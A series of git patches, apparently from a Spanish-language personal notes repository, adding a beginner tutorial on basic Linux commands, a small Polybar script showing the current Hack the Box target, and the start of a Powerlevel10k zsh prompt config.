ruta del directorio (carpeta) de trabajo actual en el que te encuentras. El comando devolverá una ruta -absoluta (completa), que es básicamente una ruta de todos los directorios que comienzan con una barra diagonal (/) Un ejemplo de una ruta absoluta es +### pwd +Usa el comando pwd para encontrar la ruta del directorio (carpeta) de trabajo actual en el que te encuentras. El comando devolverá una ruta absoluta +(completa), que es básicamente una ruta de todos los directorios que comienzan con una barra diagonal (/) Un ejemplo de una ruta absoluta es `/home/nombredeusuario`. +### cd +Para navegar por los archivos y directorios de Linux, usa el comando cd. Te pedirá la ruta completa o el nombre del directorio, dependiendo del +directorio de trabajo actual en el que te encuentres. + +Supongamos que estás en `/home/nombredeusuario/Documentos` y deseas ir a `Fotos`, un subdirectorio de `Documentos`. Para hacerlo, simplemente escribe el siguiente comando: + + cd Fotos + +Otro escenario es si deseas ir a un directorio completamente nuevo, por ejemplo, `/home/nombredeusuario/Peliculas`. En este caso, debes escribir `cd` seguido de la ruta absoluta del directorio: + + cd /home/ nombredeusuario/Peliculas. + +Hay algunos atajos para ayudarte a navegar rápidamente: + +`cd ..` : (Con dos puntos) Para ir un directorio hacia arriba. +`cd ` : Para ir directamente a la carpeta de inicio. +`cd-` : (Con un guión) Para ir al directorio anterior. + +Como nota al margen, el shell de Linux distingue entre mayúsculas y minúsculas. Por lo tanto, debes escribir el nombre del directorio de forma exacta. + +### ls +El comando ls se usa para ver el contenido de un directorio. Por defecto, este comando mostrará el contenido de tu directorio de trabajo actual. + +Si deseas ver el contenido de otros directorios, escribe ls y luego la ruta del directorio. Por ejemplo, ingresa `ls /home/nombredeusuario/Documentos` +para ver el contenido de Documentos. + +Hay variaciones que puedes usar con el comando `ls`: + +`ls -R` : También listará todos los archivos en los subdirectorios. +`ls -a` : Mostrará los archivos ocultos. +`ls -al` : Listará los archivos y directorios con información detallada como los permisos, el tamaño, el propietario, etc. + +### cat +cat (abreviatura de concatenate, en inglés) es uno de los comandos más utilizados en Linux. Se utiliza para listar el contenido de un archivo en la +salida estándar (sdout). Para ejecutar este comando, escribe cat seguido del nombre del archivo y su extensión. Por ejemplo: + + cat archivo.txt. + +Aquí hay otras formas de usar el comando cat: + +`cat > nombredearchivo` : Crea un nuevo archivo. +`cat nombredearchivo1 nombredearchivo2>nombredearchivo3` : Une dos archivos (1 y 2) y almacena la salida de ellos en un nuevo archivo (3). +`cat nombredearchivo | tr a-z A-Z> salida.txt` : Convertir un archivo a mayúsculas o minúsculas. + +### cp +Usa el comando cp para copiar archivos del directorio actual a un directorio diferente. Por ejemplo, el comando `cp escenario.jpg +/home/nombredeusuario/Imagenes` crearía una copia de escenario.jpg (desde tu directorio actual) en el directorio de **Imagenes**. + +### mv +El uso principal del comando mv es mover archivos, aunque también se puede usar para cambiar el nombre de los archivos. + +Los argumentos en mv son similares al comando cp. Debes escribir `mv`, el `nombre del archivo` y el `directorio destino`. +Por ejemplo: + + mv archivo.txt /home/nombredeusuario/Documentos. + +Para **cambiar el nombre** de los archivos, el comando de Linux es: + + mv nombreviejo.ext nombrenuevo.ext + +### mkdir +Usa el comando mkdir para crear un nuevo directorio: si escribes `mkdir Musica`, creará un directorio llamado Musica. + +También hay comandos adicionales de mkdir: + +Para generar un nuevo directorio dentro de otro directorio, usa este comando básico de Linux `mkdir Musica/Nuevoarchivo`. +Usa la opción `p` (padres) para crear un directorio entre dos directorios existentes. +Por ejemplo, `mkdir -p Musica/2020/Nuevoarchivo` creará el nuevo archivo **2020**. + +### rmdir +Si necesitas eliminar un directorio, usa el comando rmdir. Sin embargo, rmdir solo te permite eliminar directorios vacíos. + +### rm +El comando rm se usa para eliminar directorios y el contenido dentro de ellos. Si solo deseas eliminar el directorio, como alternativa a rmdir, +usa `rm -r`. + +**Nota:** Ten mucho cuidado con este comando y verifica en qué directorio te encuentras. Este comando elimina todo y no se puede deshacer. From b20fdd25d308bb38925aa3bfc065971443b29125 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 09:08:41 +0200 Subject: [PATCH 0389/1701] =?UTF-8?q?Update=20Comandos=5Fb=C3=A1sicos=5FLi?= =?UTF-8?q?nux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Comandos_b\303\241sicos_Linux.md" | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" index 65d7d43ab9b..a9f81351449 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" @@ -91,3 +91,52 @@ usa `rm -r`. **Nota:** Ten mucho cuidado con este comando y verifica en qué directorio te encuentras. Este comando elimina todo y no se puede deshacer. +### touch +El comando touch te permite crear un nuevo archivo en blanco a través de la línea de comando de Linux. +Como ejemplo, ejecuta `touch /home/nombredeusuario/Documentos/Web.html` para crear un archivo HTML titulado **Web** en el directorio **Documentos**. + +### locate +Puedes usar este comando para localizar un archivo, al igual que el comando de búsqueda en Windows. Además, el uso del argumento `-i` junto con este +comando hará que no distinga entre mayúsculas y minúsculas, por lo que puedes buscar un archivo incluso si no recuerdas su nombre exacto. + +Para buscar un archivo que contenga dos o más palabras, usa un asterisco `*`. +Por ejemplo, el comando `locate -i escuela*nota` buscará cualquier archivo que contenga la palabra `escuela` y `nota`, ya sea en mayúsculas o minúsculas. + +### find +Similar al comando locate, usando find también buscas archivos y directorios. La diferencia es que usas el comando find para ubicar archivos dentro +de un directorio dado. + +Como ejemplo, el comando `find /home/ -name notas.txt` buscará un archivo llamado **notas.txt** dentro del directorio de inicio y sus subdirectorios. + +Otras variaciones al usar find son: + +Para buscar archivos en el directorio actual, `find . -name notas.txt`. +Para buscar directorios, `find / -type d -name notes.txt`. + +### grep +Otro comando básico de Linux que sin duda es útil para el uso diario es grep. Te permite buscar a través de todo el texto en un archivo dado. + +Para ilustrar, `grep azul notepad.txt` buscará la palabra **azul** en el archivo del bloc de notas. Las líneas que contienen la palabra buscada +se mostrarán. + +### sudo +Abreviatura de «SuperUser Do» (SuperUsuario hace), este comando te permite realizar tareas que requieren permisos administrativos o raíz. +Sin embargo, no es aconsejable usar este comando para el uso diario, ya que podría ser fácil que ocurra un error si haces algo mal. + +### df +Usa el comando df para obtener un informe sobre el uso del espacio en disco del sistema, que se muestra en porcentaje y KB. Si deseas ver el informe +en megabytes, escribe `df -m`. + +### du +Si deseas verificar cuánto espacio ocupa un archivo o un directorio, el comando du (Uso del disco, en inglés) es la respuesta. Sin embargo, el +resumen de uso del disco mostrará números de bloque de disco en lugar del formato de tamaño habitual. Si deseas verlo en bytes, kilobytes y +megabytes, agrega el argumento `-h` a la línea de comando. + +### head +El comando head se usa para ver las primeras líneas de cualquier archivo de texto. De manera predeterminada, mostrará las primeras diez líneas, +pero puedes cambiar este número a tu gusto. +Por ejemplo, si solo deseas mostrar las primeras cinco líneas, escribe: + + head -n 5 nombredearchivo.ext. + + From 250f9801b4155d8da9c011777000791176fe477d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 09:10:07 +0200 Subject: [PATCH 0390/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index e8d23d097aa..77315df5ba8 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -7,7 +7,7 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy [¿Qué es Linux?](../Linux/Introducción_a_Linux/Introducción_a_Linux.html) -[Comandos Básicos en Linux](../Linux/Introducción_a_Linux/Comandos_básicos_Linux.htm) +[Comandos Básicos en Linux](../Linux/Introducción_a_Linux/Comandos_básicos_Linux.html) [Escalada Básica de Privilegios en Linux](../Linux/Escalada_básica_de_privilegios_Linux.html) From 1e40005d64e5de0ddc60a1d541e0fa0e24b3cae7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 09:26:15 +0200 Subject: [PATCH 0391/1701] =?UTF-8?q?Update=20Comandos=5Fb=C3=A1sicos=5FLi?= =?UTF-8?q?nux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Comandos_b\303\241sicos_Linux.md" | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) diff --git "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" index a9f81351449..2071f111387 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" @@ -139,4 +139,103 @@ Por ejemplo, si solo deseas mostrar las primeras cinco líneas, escribe: head -n 5 nombredearchivo.ext. +### tail +Este tiene una función similar al comando head, pero en lugar de mostrar las primeras líneas, el comando tail mostrará las últimas diez líneas de +un archivo de texto. Por ejemplo: + + tail -n nombredearchivo.ext + +### diff +Para abreviar diferencia, el comando diff compara el contenido de dos archivos línea por línea. Después de analizar los archivos, genera las líneas +que no coinciden. Los programadores a menudo usan este comando cuando necesitan hacer modificaciones al programa en lugar de reescribir todo el +código fuente. + +La forma más simple de usar este comando es: + + diff archivo1.ext archivo2.ext + +### tar +El comando tar es el comando más utilizado para guardar múltiples archivos en un tarball, un formato de archivo de Linux común que es similar al +formato zip, con compresión opcional. + +Este comando es bastante complejo con una larga lista de funciones, como agregar nuevos archivos a un archivo existente, enumerar el contenido de +un archivo, extraer el contenido de un archivo y muchos más. + +### chmod +chmod es otro comando de Linux, utilizado para cambiar los permisos de lectura, escritura y ejecución de archivos y directorios. Como este comando es +bastante complicado, puedes leer el tutorial completo (en inglés) para ejecutarlo correctamente. + +### chown +En Linux, todos los archivos son propiedad de un usuario específico. El comando chown te permite cambiar o transferir la propiedad de un archivo al +nombre de usuario especificado. Por ejemplo, `chown usuariolinux2 archivo.ext` hará que usuariolinux2 sea el propietario del archivo.ext. + +### jobs +El comando jobs mostrará todos los trabajos actuales junto con sus estados. Un trabajo es básicamente un proceso iniciado por el shell. + +### kill +Si tienes un programa que no responde, puedes cerrarlo manualmente utilizando el comando kill. Enviará una cierta señal al programa que se está +ejecutando mal y le indica a la aplicación que finalice. + +Hay un total de sesenta y cuatro señales que puedes usar, pero las personas generalmente solo usan dos señales: + +`SIGTERM (15)` : Solicita que un programa deje de ejecutarse y te da algo de tiempo para guardar todo tu progreso. Si no especificas la señal al +ingresar el comando kill, se utilizará esta señal. + +`SIGKILL (9)` : Obliga a los programas a detenerse inmediatamente. El progreso no guardado se perderá. + +Además de conocer las señales, también debes conocer el número de identificación del proceso (PID) del programa que deseas detener (kill). Si no +conoces el PID, simplemente ejecute el comando `ps ux`. + +Después de saber qué señal deseas usar y el PID del programa, ingresa la siguiente sintaxis: + + kill [opción de señal] PID. + +### ping +Usa el comando ping para verificar tu estado de conectividad a un servidor. Por ejemplo, simplemente ingresando `ping google.com`, el comando +verificará si puedes conectarte a Google y también medirá el tiempo de respuesta. + +### wget +La línea de comandos de Linux es muy útil: incluso puedes descargar archivos de Internet con la ayuda del comando wget. Para hacerlo, simplemente escribe `wget` seguido del enlace de descarga. + +### uname +El comando uname, abreviatura de Nombre de Unix, imprimirá información detallada sobre tu sistema Linux, como el nombre de la máquina, el sistema +operativo, el núcleo, etc. + +### top +Como un terminal equivalente al Administrador de tareas en Windows, el comando top mostrará una lista de los procesos en ejecución y la cantidad de CPU +que utiliza cada proceso. Es muy útil monitorear el uso de los recursos del sistema, especialmente para saber qué proceso debe terminarse porque consume +demasiados recursos. + +### history +Cuando hayas estado utilizando Linux durante un cierto período de tiempo, notarás rápidamente que puedes ejecutar cientos de comandos todos los días. Como tal, ejecutar el comando history es particularmente útil si deseas revisar los comandos que ingresaste anteriormente. + + +### man +¿Confundido sobre la función de ciertos comandos de Linux? No te preocupes, puedes aprender fácilmente cómo usarlos directamente desde el shell de +Linux mediante el comando man. Por ejemplo, al ingresar man tail se mostrarán las instrucciones manuales del comando tail. + +### echo +Este comando se usa para mover algunos datos a un archivo. Por ejemplo, si deseas agregar el texto «Hola, mi nombre es John» en un archivo llamado +**nombre.txt**, debes escribir: `echo Hola, mi nombre es John >> nombre.txt`. + + +### zip, unzip +Usa el comando `zip` para **comprimir tus archivos** en un archivo zip y use el comando `unzip` para **extraer los archivos comprimidos** de un +archivo zip. + +### hostname +Si deseas conocer el nombre de tu host/red, simplemente escribe hostname. Agregar un `-I` al final mostrará la dirección IP de tu red. + +### useradd, userdel +Dado que Linux es un sistema multiusuario, esto significa que más de una persona puede interactuar con el mismo sistema al mismo tiempo. `useradd` se +usa para crear un nuevo usuario, mientras que `passwd` agrega una contraseña a la cuenta de ese usuario. Para agregar una nueva persona llamada John, +escribe `useradd John` y luego para agregar su contraseña, escribe `passwd 123456789`. + +**Eliminar un usuario** es muy similar a agregar un nuevo usuario. Para eliminar la cuenta de usuario, escribe `userdel NombredeUsuario`. + +### clear +Para limpiar el terminal si se está abarrotando con demasiados comandos pasados. + + + From cb879b1098090d10da3475cda9ffa6dbaef68bed Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 09:29:34 +0200 Subject: [PATCH 0392/1701] =?UTF-8?q?Update=20Comandos=5Fb=C3=A1sicos=5FLi?= =?UTF-8?q?nux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Comandos_b\303\241sicos_Linux.md" | 72 +++++++++---------- 1 file changed, 35 insertions(+), 37 deletions(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" index 2071f111387..ff29d624003 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" @@ -6,14 +6,12 @@ basados en Linux más populares como Ubuntu, Fedora, Mint, Debian y otros. Más Al operar un sistema operativo Linux, debes usar un shell, una interfaz que te da acceso a los servicios del sistema operativo. La mayoría de las distribuciones de Linux utilizan una interfaz gráfica de usuario (GUI) como shell, principalmente para proporcionar facilidad de uso a sus usuarios. -## Aquí hay una lista de comandos básicos de Linux: - -### pwd +## pwd Usa el comando pwd para encontrar la ruta del directorio (carpeta) de trabajo actual en el que te encuentras. El comando devolverá una ruta absoluta (completa), que es básicamente una ruta de todos los directorios que comienzan con una barra diagonal (/) Un ejemplo de una ruta absoluta es `/home/nombredeusuario`. -### cd +## cd Para navegar por los archivos y directorios de Linux, usa el comando cd. Te pedirá la ruta completa o el nombre del directorio, dependiendo del directorio de trabajo actual en el que te encuentres. @@ -33,7 +31,7 @@ Hay algunos atajos para ayudarte a navegar rápidamente: Como nota al margen, el shell de Linux distingue entre mayúsculas y minúsculas. Por lo tanto, debes escribir el nombre del directorio de forma exacta. -### ls +## ls El comando ls se usa para ver el contenido de un directorio. Por defecto, este comando mostrará el contenido de tu directorio de trabajo actual. Si deseas ver el contenido de otros directorios, escribe ls y luego la ruta del directorio. Por ejemplo, ingresa `ls /home/nombredeusuario/Documentos` @@ -45,7 +43,7 @@ Hay variaciones que puedes usar con el comando `ls`: `ls -a` : Mostrará los archivos ocultos. `ls -al` : Listará los archivos y directorios con información detallada como los permisos, el tamaño, el propietario, etc. -### cat +## cat cat (abreviatura de concatenate, en inglés) es uno de los comandos más utilizados en Linux. Se utiliza para listar el contenido de un archivo en la salida estándar (sdout). Para ejecutar este comando, escribe cat seguido del nombre del archivo y su extensión. Por ejemplo: @@ -57,11 +55,11 @@ Aquí hay otras formas de usar el comando cat: `cat nombredearchivo1 nombredearchivo2>nombredearchivo3` : Une dos archivos (1 y 2) y almacena la salida de ellos en un nuevo archivo (3). `cat nombredearchivo | tr a-z A-Z> salida.txt` : Convertir un archivo a mayúsculas o minúsculas. -### cp +## cp Usa el comando cp para copiar archivos del directorio actual a un directorio diferente. Por ejemplo, el comando `cp escenario.jpg /home/nombredeusuario/Imagenes` crearía una copia de escenario.jpg (desde tu directorio actual) en el directorio de **Imagenes**. -### mv +## mv El uso principal del comando mv es mover archivos, aunque también se puede usar para cambiar el nombre de los archivos. Los argumentos en mv son similares al comando cp. Debes escribir `mv`, el `nombre del archivo` y el `directorio destino`. @@ -73,7 +71,7 @@ Para **cambiar el nombre** de los archivos, el comando de Linux es: mv nombreviejo.ext nombrenuevo.ext -### mkdir +## mkdir Usa el comando mkdir para crear un nuevo directorio: si escribes `mkdir Musica`, creará un directorio llamado Musica. También hay comandos adicionales de mkdir: @@ -82,27 +80,27 @@ Para generar un nuevo directorio dentro de otro directorio, usa este comando bá Usa la opción `p` (padres) para crear un directorio entre dos directorios existentes. Por ejemplo, `mkdir -p Musica/2020/Nuevoarchivo` creará el nuevo archivo **2020**. -### rmdir +## rmdir Si necesitas eliminar un directorio, usa el comando rmdir. Sin embargo, rmdir solo te permite eliminar directorios vacíos. -### rm +## rm El comando rm se usa para eliminar directorios y el contenido dentro de ellos. Si solo deseas eliminar el directorio, como alternativa a rmdir, usa `rm -r`. **Nota:** Ten mucho cuidado con este comando y verifica en qué directorio te encuentras. Este comando elimina todo y no se puede deshacer. -### touch +## touch El comando touch te permite crear un nuevo archivo en blanco a través de la línea de comando de Linux. Como ejemplo, ejecuta `touch /home/nombredeusuario/Documentos/Web.html` para crear un archivo HTML titulado **Web** en el directorio **Documentos**. -### locate +## locate Puedes usar este comando para localizar un archivo, al igual que el comando de búsqueda en Windows. Además, el uso del argumento `-i` junto con este comando hará que no distinga entre mayúsculas y minúsculas, por lo que puedes buscar un archivo incluso si no recuerdas su nombre exacto. Para buscar un archivo que contenga dos o más palabras, usa un asterisco `*`. Por ejemplo, el comando `locate -i escuela*nota` buscará cualquier archivo que contenga la palabra `escuela` y `nota`, ya sea en mayúsculas o minúsculas. -### find +## find Similar al comando locate, usando find también buscas archivos y directorios. La diferencia es que usas el comando find para ubicar archivos dentro de un directorio dado. @@ -113,39 +111,39 @@ Otras variaciones al usar find son: Para buscar archivos en el directorio actual, `find . -name notas.txt`. Para buscar directorios, `find / -type d -name notes.txt`. -### grep +## grep Otro comando básico de Linux que sin duda es útil para el uso diario es grep. Te permite buscar a través de todo el texto en un archivo dado. Para ilustrar, `grep azul notepad.txt` buscará la palabra **azul** en el archivo del bloc de notas. Las líneas que contienen la palabra buscada se mostrarán. -### sudo +## sudo Abreviatura de «SuperUser Do» (SuperUsuario hace), este comando te permite realizar tareas que requieren permisos administrativos o raíz. Sin embargo, no es aconsejable usar este comando para el uso diario, ya que podría ser fácil que ocurra un error si haces algo mal. -### df +## df Usa el comando df para obtener un informe sobre el uso del espacio en disco del sistema, que se muestra en porcentaje y KB. Si deseas ver el informe en megabytes, escribe `df -m`. -### du +## du Si deseas verificar cuánto espacio ocupa un archivo o un directorio, el comando du (Uso del disco, en inglés) es la respuesta. Sin embargo, el resumen de uso del disco mostrará números de bloque de disco en lugar del formato de tamaño habitual. Si deseas verlo en bytes, kilobytes y megabytes, agrega el argumento `-h` a la línea de comando. -### head +## head El comando head se usa para ver las primeras líneas de cualquier archivo de texto. De manera predeterminada, mostrará las primeras diez líneas, pero puedes cambiar este número a tu gusto. Por ejemplo, si solo deseas mostrar las primeras cinco líneas, escribe: head -n 5 nombredearchivo.ext. -### tail +## tail Este tiene una función similar al comando head, pero en lugar de mostrar las primeras líneas, el comando tail mostrará las últimas diez líneas de un archivo de texto. Por ejemplo: tail -n nombredearchivo.ext -### diff +## diff Para abreviar diferencia, el comando diff compara el contenido de dos archivos línea por línea. Después de analizar los archivos, genera las líneas que no coinciden. Los programadores a menudo usan este comando cuando necesitan hacer modificaciones al programa en lugar de reescribir todo el código fuente. @@ -154,25 +152,25 @@ La forma más simple de usar este comando es: diff archivo1.ext archivo2.ext -### tar +## tar El comando tar es el comando más utilizado para guardar múltiples archivos en un tarball, un formato de archivo de Linux común que es similar al formato zip, con compresión opcional. Este comando es bastante complejo con una larga lista de funciones, como agregar nuevos archivos a un archivo existente, enumerar el contenido de un archivo, extraer el contenido de un archivo y muchos más. -### chmod +## chmod chmod es otro comando de Linux, utilizado para cambiar los permisos de lectura, escritura y ejecución de archivos y directorios. Como este comando es bastante complicado, puedes leer el tutorial completo (en inglés) para ejecutarlo correctamente. -### chown +## chown En Linux, todos los archivos son propiedad de un usuario específico. El comando chown te permite cambiar o transferir la propiedad de un archivo al nombre de usuario especificado. Por ejemplo, `chown usuariolinux2 archivo.ext` hará que usuariolinux2 sea el propietario del archivo.ext. -### jobs +## jobs El comando jobs mostrará todos los trabajos actuales junto con sus estados. Un trabajo es básicamente un proceso iniciado por el shell. -### kill +## kill Si tienes un programa que no responde, puedes cerrarlo manualmente utilizando el comando kill. Enviará una cierta señal al programa que se está ejecutando mal y le indica a la aplicación que finalice. @@ -190,50 +188,50 @@ Después de saber qué señal deseas usar y el PID del programa, ingresa la sigu kill [opción de señal] PID. -### ping +## ping Usa el comando ping para verificar tu estado de conectividad a un servidor. Por ejemplo, simplemente ingresando `ping google.com`, el comando verificará si puedes conectarte a Google y también medirá el tiempo de respuesta. -### wget +## wget La línea de comandos de Linux es muy útil: incluso puedes descargar archivos de Internet con la ayuda del comando wget. Para hacerlo, simplemente escribe `wget` seguido del enlace de descarga. -### uname +## uname El comando uname, abreviatura de Nombre de Unix, imprimirá información detallada sobre tu sistema Linux, como el nombre de la máquina, el sistema operativo, el núcleo, etc. -### top +## top Como un terminal equivalente al Administrador de tareas en Windows, el comando top mostrará una lista de los procesos en ejecución y la cantidad de CPU que utiliza cada proceso. Es muy útil monitorear el uso de los recursos del sistema, especialmente para saber qué proceso debe terminarse porque consume demasiados recursos. -### history +## history Cuando hayas estado utilizando Linux durante un cierto período de tiempo, notarás rápidamente que puedes ejecutar cientos de comandos todos los días. Como tal, ejecutar el comando history es particularmente útil si deseas revisar los comandos que ingresaste anteriormente. -### man +## man ¿Confundido sobre la función de ciertos comandos de Linux? No te preocupes, puedes aprender fácilmente cómo usarlos directamente desde el shell de Linux mediante el comando man. Por ejemplo, al ingresar man tail se mostrarán las instrucciones manuales del comando tail. -### echo +## echo Este comando se usa para mover algunos datos a un archivo. Por ejemplo, si deseas agregar el texto «Hola, mi nombre es John» en un archivo llamado **nombre.txt**, debes escribir: `echo Hola, mi nombre es John >> nombre.txt`. -### zip, unzip +## zip, unzip Usa el comando `zip` para **comprimir tus archivos** en un archivo zip y use el comando `unzip` para **extraer los archivos comprimidos** de un archivo zip. -### hostname +## hostname Si deseas conocer el nombre de tu host/red, simplemente escribe hostname. Agregar un `-I` al final mostrará la dirección IP de tu red. -### useradd, userdel +## useradd, userdel Dado que Linux es un sistema multiusuario, esto significa que más de una persona puede interactuar con el mismo sistema al mismo tiempo. `useradd` se usa para crear un nuevo usuario, mientras que `passwd` agrega una contraseña a la cuenta de ese usuario. Para agregar una nueva persona llamada John, escribe `useradd John` y luego para agregar su contraseña, escribe `passwd 123456789`. **Eliminar un usuario** es muy similar a agregar un nuevo usuario. Para eliminar la cuenta de usuario, escribe `userdel NombredeUsuario`. -### clear +## clear Para limpiar el terminal si se está abarrotando con demasiados comandos pasados. From 991ff3ddaa4d5ca0e0afca40cec65c097095a70d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 09:33:47 +0200 Subject: [PATCH 0393/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 77315df5ba8..1659d5d1a5c 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -9,7 +9,7 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy [Comandos Básicos en Linux](../Linux/Introducción_a_Linux/Comandos_básicos_Linux.html) -[Escalada Básica de Privilegios en Linux](../Linux/Escalada_básica_de_privilegios_Linux.html) +Escalada Básica de Privilegios en Linux --> [Link](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) # Dispositivos: From 2fd5ed3a39230ebc2a11ee96aebeb4cb4915d478 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 20 May 2022 00:29:12 +0200 Subject: [PATCH 0394/1701] Update Settarget.md --- Linux/ZSH/Settarget.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/Linux/ZSH/Settarget.md b/Linux/ZSH/Settarget.md index 5e8eff8546d..e63869a4bfe 100644 --- a/Linux/ZSH/Settarget.md +++ b/Linux/ZSH/Settarget.md @@ -23,6 +23,25 @@ Copiamos la función. Nos dirigimos hasta nuestro directorio de usuario `/home/U Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl + x`. +Para poder mostrar la función en la Polybar, agregaremos el siguiente script `target_to_hack` al direcorio `~/.config/bin/`: + +*** + +#!/bin/zsh + +ip_address=$(cat ~/.config/bin/target | awk '{print $1}') +machine_name=$(cat ~/.config/bin/target | awk '{print $2}') + +if [ $ip_address ] && [ $machine_name ]; then + echo "%{F#000000} ${F#ffffff}$ip_address%{u-}  $machine_name" +else + echo "${F#000000} %{u-}%{F#000000} No target" +fi + +*** + + + Para ejecutar la función simplemente le especificamos la Ip y el nombre de la máquina de Hack the Box: settarget [Ip Máquina] [Nombre de la Máquina] From 59667b084f2a815c3dffacc142fe3cd952274fa4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 20 May 2022 00:30:07 +0200 Subject: [PATCH 0395/1701] Update Settarget.md --- Linux/ZSH/Settarget.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Linux/ZSH/Settarget.md b/Linux/ZSH/Settarget.md index e63869a4bfe..8a65335da59 100644 --- a/Linux/ZSH/Settarget.md +++ b/Linux/ZSH/Settarget.md @@ -25,7 +25,7 @@ Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl + x`. Para poder mostrar la función en la Polybar, agregaremos el siguiente script `target_to_hack` al direcorio `~/.config/bin/`: -*** +``` #!/bin/zsh @@ -38,7 +38,7 @@ else echo "${F#000000} %{u-}%{F#000000} No target" fi -*** +``` From 595926f184afbca7afb71684123e3889240a403e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 20 May 2022 10:46:49 +0200 Subject: [PATCH 0396/1701] Create .p10k.zsh.md --- Linux/PowerLevel10k/.p10k.zsh.md | 1649 ++++++++++++++++++++++++++++++ 1 file changed, 1649 insertions(+) create mode 100644 Linux/PowerLevel10k/.p10k.zsh.md diff --git a/Linux/PowerLevel10k/.p10k.zsh.md b/Linux/PowerLevel10k/.p10k.zsh.md new file mode 100644 index 00000000000..0cfdce9d197 --- /dev/null +++ b/Linux/PowerLevel10k/.p10k.zsh.md @@ -0,0 +1,1649 @@ +# Generated by Powerlevel10k configuration wizard on 2022-03-24 at 02:24 CET. +# Based on romkatv/powerlevel10k/config/p10k-classic.zsh, checksum 55273. +# Wizard options: nerdfont-complete + powerline, large icons, classic, unicode, dark, +# angled separators, blurred heads, blurred tails, 1 line, sparse, many icons, fluent, +# transient_prompt, instant_prompt=quiet. +# Type `p10k configure` to generate another config. +# +# Config for Powerlevel10k with classic powerline prompt style. Type `p10k configure` to generate +# your own config based on it. +# +# Tip: Looking for a nice color? Here's a one-liner to print colormap. +# +# for i in {0..255}; do print -Pn "%K{$i} %k%F{$i}${(l:3::0:)i}%f " ${${(M)$((i%6)):#3}:+$'\n'}; done + +# Temporarily change options. +'builtin' 'local' '-a' 'p10k_config_opts' +[[ ! -o 'aliases' ]] || p10k_config_opts+=('aliases') +[[ ! -o 'sh_glob' ]] || p10k_config_opts+=('sh_glob') +[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand') +'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand' + +() { + emulate -L zsh -o extended_glob + + # Unset all configuration options. This allows you to apply configuration changes without + # restarting zsh. Edit ~/.p10k.zsh and type `source ~/.p10k.zsh`. + unset -m '(POWERLEVEL9K_*|DEFAULT_USER)~POWERLEVEL9K_GITSTATUS_DIR' + + # Zsh >= 5.1 is required. + autoload -Uz is-at-least && is-at-least 5.1 || return + + # The list of segments shown on the left. Fill it with the most important segments. + typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=( + os_icon # os identifier + dir # current directory +# vcs # git status + status + command_execution_time + context + # prompt_char # prompt symbol + ) + + # The list of segments shown on the right. Fill it with less important segments. + # Right prompt on the last prompt line (where you are typing your commands) gets + # automatically hidden when the input line reaches it. Right prompt above the + # last prompt line gets hidden if it would overlap with left prompt. + typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=( +# status # exit code of the last command +# command_execution_time # duration of the last command +# background_jobs # presence of background jobs +# direnv # direnv status (https://direnv.net/) +# asdf # asdf version manager (https://github.com/asdf-vm/asdf) +# virtualenv # python virtual environment (https://docs.python.org/3/library/venv.html) +# anaconda # conda environment (https://conda.io/) +# pyenv # python environment (https://github.com/pyenv/pyenv) +# goenv # go environment (https://github.com/syndbg/goenv) +# nodenv # node.js version from nodenv (https://github.com/nodenv/nodenv) +# nvm # 